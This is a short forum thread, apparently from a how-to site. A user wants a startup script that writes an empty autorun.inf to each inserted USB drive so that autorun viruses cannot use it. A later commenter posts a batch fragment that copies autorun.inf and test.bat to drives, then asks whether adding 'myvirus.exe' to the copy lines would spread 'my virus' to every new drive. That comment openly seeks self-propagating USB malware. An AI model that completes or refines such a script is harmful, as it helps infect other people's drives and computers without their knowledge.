1160Views0Replies

Author Options:

How can i create a script or whatever that automatically copies a file to the USB drives i insert(like the virus does)?? Answered

what i am trying to do is this:all the new viruses are coming through Flash USB drives!they have a file called autorun.inf that makes ur double click on the drive start the visrus..and when its in it will copy iself to all the new drivres u insert..i want to use the same technique to outsmart them!i want a program or script that starts with windows and like these viruses it automatically copies a file called autorun.inf to any newly inserted drive..yet this autorun is a file created by me and its empty..copying this file to the new drives will overwrite the infectious autorun.inf...this way no virus will infect my PC!!!Pls help,thx in prior

Discussions

0
None
jademanworld

4 years ago

Hi, just a quick question.

If i add this -- myvirus.exe

To this--

:copy

IF EXIST .\autorun.inf goto bad

IF EXIST .\test.bat goto bad

copy /Y autorun.inf .\

copy /Y test.bat .\

start %drive%

To make it look like this--

:copy

IF EXIST .\autorun.inf goto bad

IF EXIST .\test.bat goto bad

IF EXIST .\myvirus.exe goto bad

copy /Y autorun.inf .\

copy /Y test.bat .\

copy /Y myvirus.exe .\

start %drive%

Would that make it copy my virus to all new drives inserted too?

Thanks in advance.